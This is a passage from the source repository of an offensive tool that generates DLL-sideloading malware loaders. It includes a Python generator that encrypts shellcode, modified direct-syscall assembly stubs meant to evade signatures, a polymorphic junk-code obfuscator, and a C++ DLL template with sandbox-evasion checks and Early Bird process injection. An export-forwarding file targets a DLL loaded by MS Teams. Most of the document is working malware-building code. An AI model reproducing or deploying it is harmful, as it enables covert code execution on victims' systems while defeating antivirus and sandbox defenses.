args.dexports[0] 31 | if file_alias not in array_dll_names: 32 | print(f"Invalid file option. Available options: {', '.join(array_dll_names.keys())}\n") 33 | sys.exit(1) 34 | file_option = array_dll_names[file_alias] 35 | encryption_type = args.enc[0] 36 | injection = args.inj 37 | shellcode_var =args.rshell 38 | xor_func = args.rxor 39 | key_var = args.rkey 40 | time = args.rsleep 41 | size = args.size 42 | except: 43 | parse_arguments() 44 | sys.exit() 45 | 46 | with open(os.path.join(folder_path, file_option), "r") as f: 47 | # Read the contents of the file 48 | file_contents = f.read() 49 | 50 | #Initialize random (30) numbers array 51 | timeArray = obfuscatorArray(time) 52 | #Initialze random filesizes 53 | sizeArray = obfuscatorSize(size) 54 | 55 | if encryption_type == "XOR": 56 | ciphertext = DoXor(plaintext, key) 57 | ciphertext_split = split_xor_shellcode(ciphertext) 58 | key_hex = keyHex(key) 59 | shellcode=EncryptedShellcode(shellcode_var, ciphertext_split) 60 | key_hex = f'''"{key_hex}"''' 61 | c_template=template(file_contents,xor_func,shellcode_var,ciphertext_split,key_var,key_hex,process_to_inject,time,injection,encryption_type,timeArray,sizeArray) 62 | 63 | elif encryption_type == "AES": 64 | ciphertext = encryptAES(plaintext,keyAES) 65 | ciphertext_split = split_aes_shellcode(ciphertext) 66 | keyAES2 = returnKey(keyAES) 67 | shellcode=EncryptedShellcode(shellcode_var, ciphertext_split) 68 | key_hex = f'''{{keyAES2}}''' 69 | c_template=template(file_contents,xor_func,shellcode_var,ciphertext_split,key_var,keyAES2,process_to_inject,time,injection,encryption_type,timeArray,sizeArray) 70 | 71 | # Create the output folder if it doesn't exist 72 | if not os.path.exists(output_folder): 73 | os.makedirs(output_folder) 74 | 75 | # Generate output file path 76 | output_filename = os.path.join(output_folder, "main.cpp") 77 | output_code =os.path.join(output_folder, "code.h") 78 | # Write encoded shellcode to output file and copy the contents to the main file 79 | with open(output_filename, "w") as f: 80 | f.write(c_template) 81 | with open(output_code, "w") as f: 82 | f.write(shellcode) 83 | print("Create a new visual studio project and copy the files located at " + output_folder + " Folder \n") 84 | print("Template has been saved to: " + output_filename) 85 | print("Obfuscated code has been saved to: " + output_code) 86 | 87 | -------------------------------------------------------------------------------- /Visualstudio_Files/syscallsstubs.std.x64.asm: -------------------------------------------------------------------------------- 1 | .code 2 | 3 | EXTERN SW3_GetSyscallNumber: PROC 4 | 5 | NtProtectVirtualMemory PROC 6 | mov [rsp +8], rcx ; Save registers. 7 | mov [rsp+16], rdx 8 | mov [rsp+24], r8 9 | mov [rsp+32], r9 10 | sub rsp, 28h 11 | mov ecx, 00F99051Bh ; Load function hash into ECX. 12 | call SW3_GetSyscallNumber ; Resolve function hash into syscall number. 13 | add rsp, 28h 14 | mov rcx, [rsp+8] ; Restore registers. 15 | mov rdx, [rsp+16] 16 | mov r8, [rsp+24] 17 | mov r9, [rsp+32] 18 | mov r15,rcx 19 | mov r14,r15 20 | mov r13,r14 21 | mov r10,r13 22 | nop 23 | nop 24 | nop 25 | nop 26 | nop 27 | nop 28 | nop 29 | nop 30 | nop 31 | nop 32 | syscall ; Invoke system call. 33 | ret 34 | NtProtectVirtualMemory ENDP 35 | 36 | NtWriteVirtualMemory PROC 37 | mov [rsp +8], rcx ; Save registers. 38 | mov [rsp+16], rdx 39 | mov [rsp+24], r8 40 | mov [rsp+32], r9 41 | sub rsp, 28h 42 | mov ecx, 0DB942197h ; Load function hash into ECX. 43 | call SW3_GetSyscallNumber ; Resolve function hash into syscall number. 44 | add rsp, 28h 45 | mov rcx, [rsp+8] ; Restore registers. 46 | mov rdx, [rsp+16] 47 | mov r8, [rsp+24] 48 | mov r9, [rsp+32] 49 | mov r15,rcx 50 | mov r14,r15 51 | mov r13,r14 52 | mov r10,r13 53 | nop 54 | nop 55 | nop 56 | nop 57 | nop 58 | nop 59 | nop 60 | nop 61 | nop 62 | nop 63 | syscall ; Invoke system call. 64 | ret 65 | NtWriteVirtualMemory ENDP 66 | 67 | NtAllocateVirtualMemory PROC 68 | mov [rsp +8], rcx ; Save registers. 69 | mov [rsp+16], rdx 70 | mov [rsp+24], r8 71 | mov [rsp+32], r9 72 | sub rsp, 28h 73 | mov ecx, 00595031Bh ; Load function hash into ECX. 74 | call SW3_GetSyscallNumber ; Resolve function hash into syscall number. 75 | add rsp, 28h 76 | mov rcx, [rsp+8] ; Restore registers. 77 | mov rdx, [rsp+16] 78 | mov r8, [rsp+24] 79 | mov r9, [rsp+32] 80 | mov r15,rcx 81 | mov r14,r15 82 | mov r13,r14 83 | mov r10,r13 84 | nop 85 | nop 86 | nop 87 | nop 88 | nop 89 | nop 90 | nop 91 | nop 92 | nop 93 | nop 94 | syscall ; Invoke system call. 95 | ret 96 | NtAllocateVirtualMemory ENDP 97 | 98 | NtQueueApcThread PROC 99 | mov [rsp +8], rcx ; Save registers. 100 | mov [rsp+16], rdx 101 | mov [rsp+24], r8 102 | mov [rsp+32], r9 103 | sub rsp, 28h 104 | mov ecx, 09A20419Fh ; Load function hash into ECX. 105 | call SW3_GetSyscallNumber ; Resolve function hash into syscall number. 106 | add rsp, 28h 107 | mov rcx, [rsp+8] ; Restore registers. 108 | mov rdx, [rsp+16] 109 | mov r8, [rsp+24] 110 | mov r9, [rsp+32] 111 | mov r15,rcx 112 | mov r14,r15 113 | mov r13,r14 114 | mov r10,r13 115 | nop 116 | nop 117 | nop 118 | nop 119 | nop 120 | nop 121 | nop 122 | nop 123 | nop 124 | nop 125 | syscall ; Invoke system call. 126 | ret 127 | NtQueueApcThread ENDP 128 | 129 | NtResumeThread PROC 130 | mov [rsp +8], rcx ; Save registers. 131 | mov [rsp+16], rdx 132 | mov [rsp+24], r8 133 | mov [rsp+32], r9 134 | sub rsp, 28h 135 | mov ecx, 074CE3A67h ; Load function hash into ECX. 136 | call SW3_GetSyscallNumber ; Resolve function hash into syscall number. 137 | add rsp, 28h 138 | mov rcx, [rsp+8] ; Restore registers. 139 | mov rdx, [rsp+16] 140 | mov r8, [rsp+24] 141 | mov r9, [rsp+32] 142 | mov r15,rcx 143 | mov r14,r15 144 | mov r13,r14 145 | mov r10,r13 146 | nop 147 | nop 148 | nop 149 | nop 150 | nop 151 | nop 152 | nop 153 | nop 154 | nop 155 | nop 156 | syscall ; Invoke system call. 157 | ret 158 | NtResumeThread ENDP 159 | 160 | end -------------------------------------------------------------------------------- /Evasion/Polymorphic1.py: -------------------------------------------------------------------------------- 1 | import random 2 | import string 3 | 4 | def generate_junk_function_cpp(): 5 | num_iterations = random.randint(1000, 5000) 6 | 7 | value1 = random.choice(range(1,100000)) 8 | 9 | value2 = random.choice(range(1,100000)) 10 | 11 | 12 | code = f''' 13 | 14 | class ComplexNumber{str(value1)} {{ 15 | private: 16 | double real; 17 | double imaginary; 18 | 19 | public: 20 | ComplexNumber{str(value1)}(double real = 0.0, double imaginary = 0.0) : real(real), imaginary(imaginary) {{}} 21 | 22 | ComplexNumber{str(value1)} operator+(const ComplexNumber{str(value1)}& other) const {{ 23 | return ComplexNumber{str(value1)}(real + other.real, imaginary + other.imaginary); 24 | }} 25 | 26 | ComplexNumber{str(value1)} operator-(const ComplexNumber{str(value1)}& other) const {{ 27 | return ComplexNumber{str(value1)}(real - other.real, imaginary - other.imaginary); 28 | }} 29 | 30 | ComplexNumber{str(value1)} operator*(const ComplexNumber{str(value1)}& other) const {{ 31 | return ComplexNumber{str(value1)}(real * other.real - imaginary * other.imaginary, real * other.imaginary + imaginary * other.real); 32 | }} 33 | 34 | ComplexNumber{str(value1)} operator/(const ComplexNumber{str(value1)}& other) const {{ 35 | double denominator = other.real * other.real + other.imaginary * other.imaginary; 36 | return ComplexNumber{str(value1)}((real * other.real + imaginary * other.imaginary) / denominator, (imaginary * other.real - real * other.imaginary) / denominator); 37 | }} 38 | 39 | double getMagnitude() const {{ 40 | return sqrt(real * real + imaginary * imaginary); 41 | }} 42 | 43 | ComplexNumber{str(value1)} power(int exponent) const {{ 44 | ComplexNumber{str(value1)} result = *this; 45 | 46 | for (int i = 1; i < exponent; ++i) {{ 47 | result = result * (*this); 48 | }} 49 | 50 | return result; 51 | }} 52 | 53 | char* toString() {{ 54 | const int bufferSize = 256; 55 | char* output = new char[bufferSize]; 56 | output[0] = '\0'; 57 | 58 | if (real != 0.0 && imaginary != 0.0) {{ 59 | snprintf(output, bufferSize, "%.2f + %.2fi", real, imaginary); 60 | }} 61 | else if (real != 0.0) {{ 62 | snprintf(output, bufferSize, "%.2f", real); 63 | }} 64 | else if (imaginary != 0.0) {{ 65 | snprintf(output, bufferSize, "%.2fi", imaginary); 66 | }} 67 | else {{ 68 | snprintf(output, bufferSize, "0"); 69 | }} 70 | 71 | return output; 72 | }}; 73 | }}; 74 | 75 | void junkFunction{str(value2)}() {{ 76 | srand(time(0)); 77 | 78 | int numIterations = 10; 79 | 80 | char* junkMemory = new char[numIterations]; 81 | for (int i = 0; i < numIterations; ++i) {{ 82 | junkMemory[i] = rand() % 256; 83 | }} 84 | 85 | ComplexNumber{str(value1)}* complexNumbers = new ComplexNumber{str(value1)}[numIterations]; 86 | for (int i = 0; i < numIterations; ++i) {{ 87 | double real = rand() % 101 - 50; 88 | double imaginary = rand() % 101 - 50; 89 | complexNumbers[i] = ComplexNumber{str(value1)}(real, imaginary); 90 | }} 91 | 92 | ComplexNumber{str(value1)} sum; 93 | ComplexNumber{str(value1)} product; 94 | double maxMagnitude = 0.0; 95 | int maxMagnitudeIndex = 0; 96 | 97 | for (int i = 0; i < numIterations; ++i) {{ 98 | sum = sum + complexNumbers[i]; 99 | product = product * complexNumbers[i]; 100 | 101 | double magnitude = complexNumbers[i].getMagnitude(); 102 | if (magnitude > maxMagnitude) {{ 103 | maxMagnitude = magnitude; 104 | maxMagnitudeIndex = i; 105 | }} 106 | }} 107 | 108 | ComplexNumber{str(value1)} powerResult = complexNumbers[maxMagnitudeIndex].power(rand() % 6 + 2); 109 | 110 | // Do whatever you want with the results here 111 | 112 | }} 113 | 114 | 115 | void junkFunction{str(value2)}(); 116 | 117 | ''' 118 | 119 | return code 120 | 121 | 122 | def generate_cpp_script(): 123 | cpp_code = generate_junk_function_cpp() 124 | return cpp_code 125 | -------------------------------------------------------------------------------- /Evasion/Obfuscator.py: -------------------------------------------------------------------------------- 1 | import random 2 | import secrets 3 | 4 | from Evasion.Junk import junk 5 | from Evasion.JitterSleeper import jitterSleeper 6 | from Evasion.Polymorphic1 import generate_cpp_script 7 | from Evasion.Polymorphic2 import generate_code 8 | 9 | def obfuscatorArray(time): 10 | 11 | #Use random time if got the default value (4000) 12 | if time == 4000: 13 | # Create an instance 14 | rng = random.SystemRandom() 15 | # Generate an array with random numbers 16 | array_size = 30 17 | min_value = 1 18 | max_value = 5 19 | random_array = [rng.randint(min_value, max_value) for _ in range(array_size)] 20 | return random_array 21 | #Else use the given time into an array 22 | else: 23 | # Create an instance of random.SystemRandom() 24 | rng = random.SystemRandom() 25 | positions = 30 26 | # Calculate the initial value for each position 27 | initial_value = time // positions 28 | 29 | # Calculate the remaining value 30 | remaining_value = time % positions 31 | 32 | # Create an array to store the values 33 | array = [] 34 | 35 | # Generate values for each position 36 | for _ in range(positions): 37 | # Add the initial value to the array 38 | array.append(initial_value) 39 | 40 | # Randomly distribute the remaining value across the positions 41 | for _ in range(remaining_value): 42 | # Generate a random index 43 | random_index = rng.randrange(positions) 44 | # Add 1 to the value at the random index 45 | array[random_index] += 1 46 | 47 | return array 48 | 49 | def obfuscatorSize(size): 50 | 51 | #If got the default value (0) 52 | if size == 0: 53 | # Specify the number of positions and the desired value 54 | num_positions = 30 55 | value = size 56 | 57 | # Generate the array using list comprehension 58 | array = [value for _ in range(num_positions)] 59 | return array 60 | #Else generate random filesizes 61 | else: 62 | if size == 1: 63 | # Create an instance 64 | rng = random.SystemRandom() 65 | # Generate an array with random numbers 66 | #KB values 67 | array_size = 100 68 | min_value = 10 69 | max_value = 100 70 | random_array = [rng.randint(min_value, max_value) for _ in range(array_size)] 71 | return random_array 72 | #Separates in multiple values the give filesize 73 | else: 74 | # Create an instance of random.SystemRandom() 75 | rng = random.SystemRandom() 76 | positions = 30 77 | # Calculate the initial value for each position 78 | initial_value = size // positions 79 | 80 | # Calculate the remaining value 81 | remaining_value = size % positions 82 | 83 | # Create an array to store the values 84 | array = [] 85 | 86 | # Generate values for each position 87 | for _ in range(positions): 88 | # Add the initial value to the array 89 | array.append(initial_value) 90 | 91 | # Randomly distribute the remaining value across the positions 92 | for _ in range(remaining_value): 93 | # Generate a random index 94 | random_index = rng.randrange(positions) 95 | # Add 1 to the value at the random index 96 | array[random_index] += 1 97 | 98 | return array 99 | 100 | def obfuscator(value,size,disable,magic): 101 | #simple 102 | polymorphic1 = generate_code() 103 | #class 104 | polymorphic2 = generate_cpp_script() 105 | #Disable filesize and junk data generation 106 | if size == 0 and disable == 0 and magic == 0 : 107 | random_obf = [jitterSleeper(value),polymorphic1] 108 | #Disable sleep for domagic 109 | elif disable == 1 and size == 0 and magic == 0 : 110 | random_obf = [polymorphic2] 111 | elif disable == 1 and size != 0 and magic == 0: 112 | random_obf = [junk(size),polymorphic2] 113 | elif disable == 1 and size == 0 and magic == 1: 114 | random_obf = [polymorphic1] 115 | elif disable == 1 and size != 1 and magic == 1: 116 | random_obf = [junk(size),polymorphic1] 117 | #Else we need junk data 118 | else: 119 | random_obf = [junk(size),jitterSleeper(value),polymorphic1] 120 | 121 | #Randomly select obfuscation method 122 | selection = secrets.choice(random_obf) 123 | 124 | return selection 125 | -------------------------------------------------------------------------------- /Templates/Banner.py: -------------------------------------------------------------------------------- 1 | def print_banner(): 2 | 3 | print(r""" 4 | ______ __ __ __ .___ ___. _______ .______ ___ 5 | / || | | | | | | \/ | | ____|| _ \ / \ 6 | | ,----'| |__| | | | | \ / | | |__ | |_) | / ^ \ 7 | | | | __ | | | | |\/| | | __| | / / /_\ \ 8 | | `----.| | | | | | | | | | | |____ | |\ \----./ _____ \ 9 | \______||__| |__| |__| |__| |__| |_______|| _| `._____/__/ \__\ 10 | 11 | &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& 12 | &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& 13 | &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&############################&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& 14 | &&&&&&&&&&&&&&&&&&&&&&&&&&###############BBBBBBBBBBBBBBBBB##############&&&&&&&&&&&&&&&&&&&&&&&&&&&& 15 | &&&&&&&&&&&&&&&&&&&&###########BBBBBBGGGPP55YYYYJJJYYY555PPGGBBBBB############&&&&&&&&&&&&&&&&&&&&&& 16 | &&&&&&&&&&&&&&&&########BBBBBBGGGGPP55YJ??77!!!!~~~!!!!77??JY55PPGGGBBBBBBB########&&&&&&&&&&&&&&&&& 17 | &&&&&&&&&&&&&#####BBBBBBGGGGGPP55YJJ??7!!~^^^^::::::::^^^~~!77?JJY55PPGGGGGBBBBB#######&&&&&&&&&&&&& 18 | &&&&&&&&&&####BBBGGGGGPPPP555YYYPGB##BBGP5Y?7!!77..77!!7?Y5GGBBBBBGP5YY55PPPGGGGBBBBBB####&&&&&&&&&& 19 | &&&&&&&####BBGGGPPPPP555YYY5P#&#BP555PPPPPPPPG#B:..^##G55PP5555555PB#&#P5Y5555PPPPPPPGGGB###&&&&&&&& 20 | &&&&&####BGGP555555YYYYJJ??5#BPG#&&&##BBB##&#G7.7@@!.JB###BGGB###&&#GPB#P?JJJYYYYYYYYYY5PGB###&&&&&& 21 | &&&####BGGP5YYJJJJJJJ???77BB5B&#PJJ5B#&#BPJ77!^ .YY..^7?7JPB###B5?JP#BB??????????77??JYPGB###&&&& 22 | &#####BGP5YJ??????7777777#BJGP?77?JYYJJJYP&@#YJG7 ?GJYB@#5J???JY?7!!?5BYG#777!!!!!!!!!!7?J5GB###&&& 23 | #####BGPYJ77!!!!!7YPGGGPG##&#G#&&&&&&#P7~!YB&@&Y&###Y&@#GJ~~?P#&&&&&&BG#&##GGGGG5J!^~~~~~!7J5GB####& 24 | ####BGPY?7!~~~~?GB5!:. .:G&P7~:::^?##7JY?.^&@B@@B@&:.JYYY&#!::::^7G@5.. .:!YGG7^^^^~~7J5GB#### 25 | ##BBGPY?!~~^:!##?^:^~YPGP5^?J. !?7PJ?^ .@@@@@@. ^??577! .??!5PGPJ~:..7BB!:^^^~7YPGB### 26 | #BBGP5J7~^^:?@P~!J5~J@@@&#!P. G?~B@~Y. !@@@@^ .?!@G^PY 5?&@@@@Y~Y?~~5@7::^^!?YPGB## 27 | BBGP5J7~^::~@P!YG5~.:@@&@&~Y. .@Y^@@#?J: .J7 :77#@&^G@ .J7@@&@@. !YGJ!P@^.:^~!J5PGBB 28 | GGP5J7!^::.G@75@Y? ..BB@@@#77: @@55@@&#G?^:^^^^:^?5B&@@YG@& :7?&@@@GP YY&??@5.::^~7JYPGG 29 | P5YJ7!^::..#&Y@@J7 . #@@@@@BY7^. :&@&B##GGG#5^::^P#PGG#&B@@&. .^75#@@@@@P JY@&J@B...:^~7?Y5P 30 | YJ?7!^::...G@@@@PY. ^@@@@@@@@&G5?!^7YYY7&??J7P!PG!P!Y??#!YYY7~!J5B&@@@@@@@@. .YB@@&@Y ...:^~!7JY 31 | ?7!~^::... ^@@@@@GJ. ^P75B&@@@@@@&P7~~~J@&P#57B@@G75#P&@?~~~?G&@@@@@@&BY7G: :YB@@@@&......:^~~!7 32 | !!~^::..... ~@@@@@&P!. .^JG&@@@&&@@&B&5!Y&?775&J7G&#@@@&&@@@#5!: :?G&@@@@&: ......::^~~ 33 | ~^::...... .P@@@@@@#57^.. :5@@BB@&P!YB5BG^^#BPG?!B@@B#@@7 ..^?G&@@@@@@Y. ......::^ 34 | ^::...... .?#@@@@@@@&&&#BGY!. &@@Y@#BGYYG@Y^^5@GJYGG&@J@@B :?PGB#&&&@@@@@@@B7. ......: 35 | :....... .^?P#&@@@@&BY!. ~@@B#B@##@&J!~~~~!Y&@G#@BB#@@: :7P#&@@@&&BP?: ...... 36 | ...... ^5B^ ?@@GGG#@@GP@&~PBB5^#@YG@@BGG#@@7 ~#Y: .... 37 | .... G@@& .?#&BGG&P&@@@~P&@&BB&&&Y7@@@&G#GG#@#7. @@@5 .. 38 | .. .@@@@G^. :!5#&&&#&@@55@@@@YBBG5GPYGBB5@@@@YG@@&#&@&BY~. .~B@@@@ 39 | :G&@@@@@&####&@@@@@&GY?~B@#^@@@@@@@&5&@@#5&@@@@@@@:&@Y^?YG&@@@@@&####&@@@@@@G: 40 | .~?YPGBBGG5J7~:. ^7^B@^#@@@@@@@@#B#&@@@@@@@@B~@P^7. :~7J5GGBGGPY?~: 41 | 7Y!5#!5@@@&@@@@@@@@@@&@@&Y?#Y?5^ 42 | ^P5JP5JPB7@@@@@@@@@@!G5JPPYPP: 43 | ?GP5P5Y~G@@@@@@@@P:J5P5GG! 44 | .7PBJGPPB@@@@@@BYPPYBP!. 45 | .........................................^!&P@!&@@@@&!@P#!^......................................... 46 | :::::::::::::::::.................::::::::^@P@YP@@@@PY@G&::::::::::::::::.......:::::::::::::::::::: 47 | ^^^^^^^^^^^^^^^^^^^::::::::::::::^^^^^^^^^~GP@G@5&&P@P@GP^~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 48 | !!!!!!!!!~~~~~~~~~~~^^^^^^^^^^^^~~~~~~~~~~!~J@G@5&&5@P@J~!!!!~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 49 | 777777777!!!!!!!!!!!~~~~~~~~~~~!!!!!!!!!!!!!!G5@P@@P@5G77777!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! 50 | ?????????77777777777777!!!!!777!77777777777777!B5@@5B!7777777777777777777777777777777777777777777777 51 | JJJJJJJJJJ???????????????????????????????JJJJJJJ?&&?JJJJJJJ???????????????????????????????JJJJJJ???? 52 | JJJJJJJJJJJJJJJJYYYYY5555PPPGGGBBBB####&&&&&&&&&&#&&&&&&&&&&###BBBGGGPPPP55555YYYYYYYJJJJJJJJJJJJJJJ 53 | JJJJJJJJJJJJJJJYYYYY55555PPPGGBBB###&&&&@@@@@@@@@@@@@@@@@@&&&&###BBBGGPPP55555YYYYYYYJJJJJJJ??JJ???? 54 | 77777777777777777777?????????JJJJJYYYYY555555PPPPPPP55555555YYYYYJJJJJJ????????777777777777777777777 55 | ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~!!!!!!!!!!!!!!!!!~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 56 | ^^^^:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::^^^ 57 | :::::::::::::::::::::::::::::::::::::::::::::::::::::::..........::::::::::::::::::::::::::::::::::: 58 | 59 | """) 60 | -------------------------------------------------------------------------------- /Templates/C_Template.py: -------------------------------------------------------------------------------- 1 | import secrets 2 | 3 | from Injection.EarlyBird_Injection import EarlyBird 4 | from Encryption.Choose_Encryption import ChosenEncryption 5 | from Evasion.Obfuscator import obfuscator 6 | 7 | # here we specify the DLL skeleton 8 | 9 | def template(file_contents,xor_func,shellcode_var,ciphertext_split,key_var,key_hex,process_to_inject,time,injection,encryption_type,array,size): 10 | c_template = f""" 11 | #include 12 | #include "code.h" 13 | #include 14 | #include "syscalls_mem.h" 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | #include 23 | #include 24 | 25 | using namespace std; 26 | 27 | #define _CRT_SECURE_NO_DEPRECATE 28 | #pragma warning (disable : 4996) 29 | 30 | //here DLL exports are specified based an the user choice either MS Teams || OneDrive 31 | 32 | {file_contents} 33 | 34 | //Here we specify the DLL exports of whatever dll we want to use in this case userenv.dll 35 | //We must use sharpdllproxy to auto make us a C file which will include all this exports. 36 | //In the Assembly code we used some nop instructions with the help of some registers which will change the pattern of how syswhispers calls the syscalls 37 | 38 | {obfuscator(secrets.choice(array),secrets.choice(size),1,0)} 39 | 40 | BOOL executed = FALSE; 41 | 42 | //decryption 43 | {obfuscator(secrets.choice(array),secrets.choice(size),1,0)} 44 | {ChosenEncryption(encryption_type,xor_func)} 45 | {obfuscator(secrets.choice(array),secrets.choice(size),1,0)} 46 | {obfuscator(secrets.choice(array),secrets.choice(size),1,0)} 47 | 48 | //Timing attack using waitable timers. 49 | //Test fails if any of the calls return an error state. 50 | BOOL timing_CreateWaitableTimer(UINT delayInMillis) 51 | {{ 52 | HANDLE hTimer; 53 | LARGE_INTEGER dueTime; 54 | 55 | {obfuscator(secrets.choice(array),secrets.choice(size),0,0)} 56 | 57 | BOOL bResult = FALSE; 58 | 59 | dueTime.QuadPart = delayInMillis * -10000LL; 60 | 61 | hTimer = CreateWaitableTimer(NULL, TRUE, NULL); 62 | 63 | {obfuscator(secrets.choice(array),secrets.choice(size),0,0)} 64 | 65 | if (hTimer == NULL) 66 | {{ 67 | return TRUE; 68 | }} 69 | 70 | {obfuscator(secrets.choice(array),secrets.choice(size),0,0)} 71 | 72 | if (SetWaitableTimer(hTimer, &dueTime, 0, NULL, NULL, FALSE) == FALSE) 73 | {{ 74 | bResult = TRUE; 75 | }} 76 | else {{ 77 | if (WaitForSingleObject(hTimer, INFINITE) != WAIT_OBJECT_0) 78 | {{ 79 | bResult = TRUE; 80 | }} 81 | 82 | {obfuscator(secrets.choice(array),secrets.choice(size),0,0)} 83 | }} 84 | 85 | {obfuscator(secrets.choice(array),secrets.choice(size),0,0)} 86 | 87 | CancelWaitableTimer(hTimer); 88 | CloseHandle(hTimer); 89 | 90 | {obfuscator(secrets.choice(array),secrets.choice(size),0,0)} 91 | 92 | return bResult; 93 | }} 94 | 95 | //sandbox check to check hardrive 96 | int gensandbox_drive_size() {{ 97 | GET_LENGTH_INFORMATION size; 98 | DWORD lpBytesReturned; 99 | 100 | {obfuscator(secrets.choice(array),secrets.choice(size),0,0)} 101 | 102 | HANDLE drive = CreateFile(L"\\\\\\\.\\\\PhysicalDrive0", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); 103 | if (drive == INVALID_HANDLE_VALUE) {{ 104 | // Someone is playing tricks. Or not {shellcode_var} enough privileges. 105 | CloseHandle(drive); 106 | return FALSE; 107 | }} 108 | 109 | {obfuscator(secrets.choice(array),secrets.choice(size),0,0)} 110 | 111 | BOOL result = DeviceIoControl(drive, IOCTL_DISK_GET_LENGTH_INFO, NULL, 0, &size, sizeof(GET_LENGTH_INFORMATION), &lpBytesReturned, NULL); 112 | CloseHandle(drive); 113 | 114 | {obfuscator(secrets.choice(array),secrets.choice(size),0,0)} 115 | 116 | if (result != 0) {{ 117 | if (size.Length.QuadPart / 1073741824 <= 60) /* <= 60 GB */ 118 | return TRUE; 119 | }} 120 | 121 | {obfuscator(secrets.choice(array),secrets.choice(size),0,0)} 122 | 123 | return FALSE; 124 | }} 125 | 126 | DWORD WINAPI DoMagic(LPVOID lpParameter) 127 | {{ 128 | {obfuscator(secrets.choice(array),secrets.choice(size),1,1)} 129 | {EarlyBird(shellcode_var, ciphertext_split, process_to_inject, xor_func, key_var, key_hex,encryption_type,array,size) 130 | if injection == "EB" else ModuleStomping() if injection == "MS" else ""} 131 | {obfuscator(secrets.choice(array),secrets.choice(size),1,1)} 132 | }} 133 | 134 | BOOL APIENTRY DllMain(HMODULE hModule, 135 | DWORD ul_reason_for_call, 136 | LPVOID lpReserved 137 | ) 138 | {{ 139 | 140 | {obfuscator(secrets.choice(array),secrets.choice(size),0,0)} 141 | 142 | LPVOID allocation_start; 143 | HANDLE hThread; 144 | allocation_start = nullptr; 145 | //HANDLE threadHandle; 146 | 147 | {obfuscator(secrets.choice(array),secrets.choice(size),0,0)} 148 | 149 | switch (ul_reason_for_call) 150 | {{ 151 | case DLL_PROCESS_ATTACH: 152 | {{ 153 | {obfuscator(secrets.choice(array),secrets.choice(size),0,0)} 154 | 155 | //sandbox check for harddisk size 156 | gensandbox_drive_size(); 157 | 158 | //delay execution to evade sandbox 159 | timing_CreateWaitableTimer({time}); 160 | 161 | 162 | {obfuscator(secrets.choice(array),secrets.choice(size),0,0)} 163 | 164 | hThread = CreateThread(NULL, 0, DoMagic, NULL, 0, NULL); 165 | CloseHandle(hThread); 166 | 167 | {obfuscator(secrets.choice(array),secrets.choice(size),0,0)} 168 | }} 169 | case DLL_THREAD_ATTACH: 170 | {{ 171 | {obfuscator(secrets.choice(array),secrets.choice(size),0,0)} 172 | }} 173 | break; 174 | case DLL_THREAD_DETACH: 175 | {{ 176 | {obfuscator(secrets.choice(array),secrets.choice(size),0,0)} 177 | }} 178 | break; 179 | case DLL_PROCESS_DETACH: 180 | {{ 181 | {obfuscator(secrets.choice(array),secrets.choice(size),0,0)} 182 | }} 183 | break; 184 | }} 185 | 186 | {obfuscator(secrets.choice(array),secrets.choice(size),0,0)} 187 | 188 | return TRUE; 189 | }} 190 | """ 191 | return c_template 192 | 193 | -------------------------------------------------------------------------------- /Dll_Exports/ms_teams_exports_usernev_dll.txt: -------------------------------------------------------------------------------- 1 | 2 | #pragma comment(linker, "/export:=tmpB0F7.,@104") 3 | #pragma comment(linker, "/export:RsopLoggingEnabled=tmpB0F7.RsopLoggingEnabled,@105") 4 | #pragma comment(linker, "/export:AreThereVisibleLogoffScripts=tmpB0F7.AreThereVisibleLogoffScripts,@106") 5 | #pragma comment(linker, "/export:AreThereVisibleShutdownScripts=tmpB0F7.AreThereVisibleShutdownScripts,@107") 6 | #pragma comment(linker, "/export:CreateAppContainerProfile=tmpB0F7.CreateAppContainerProfile,@108") 7 | #pragma comment(linker, "/export:CreateEnvironmentBlock=tmpB0F7.CreateEnvironmentBlock,@109") 8 | #pragma comment(linker, "/export:CreateProfile=tmpB0F7.CreateProfile,@110") 9 | #pragma comment(linker, "/export:DeleteAppContainerProfile=tmpB0F7.DeleteAppContainerProfile,@111") 10 | #pragma comment(linker, "/export:DeleteProfileA=tmpB0F7.DeleteProfileA,@112") 11 | #pragma comment(linker, "/export:DeleteProfileW=tmpB0F7.DeleteProfileW,@113") 12 | #pragma comment(linker, "/export:DeriveAppContainerSidFromAppContainerName=tmpB0F7.DeriveAppContainerSidFromAppContainerName,@114") 13 | #pragma comment(linker, "/export:DeriveRestrictedAppContainerSidFromAppContainerSidAndRestrictedName=tmpB0F7.DeriveRestrictedAppContainerSidFromAppContainerSidAndRestrictedName,@115") 14 | #pragma comment(linker, "/export:DestroyEnvironmentBlock=tmpB0F7.DestroyEnvironmentBlock,@116") 15 | #pragma comment(linker, "/export:DllCanUnloadNow=tmpB0F7.DllCanUnloadNow,@117") 16 | #pragma comment(linker, "/export:DllGetClassObject=tmpB0F7.DllGetClassObject,@118") 17 | #pragma comment(linker, "/export:DllRegisterServer=tmpB0F7.DllRegisterServer,@119") 18 | #pragma comment(linker, "/export:DllUnregisterServer=tmpB0F7.DllUnregisterServer,@120") 19 | #pragma comment(linker, "/export:EnterCriticalPolicySection=tmpB0F7.EnterCriticalPolicySection,@121") 20 | #pragma comment(linker, "/export:=tmpB0F7.,@122") 21 | #pragma comment(linker, "/export:ExpandEnvironmentStringsForUserA=tmpB0F7.ExpandEnvironmentStringsForUserA,@123") 22 | #pragma comment(linker, "/export:ExpandEnvironmentStringsForUserW=tmpB0F7.ExpandEnvironmentStringsForUserW,@124") 23 | #pragma comment(linker, 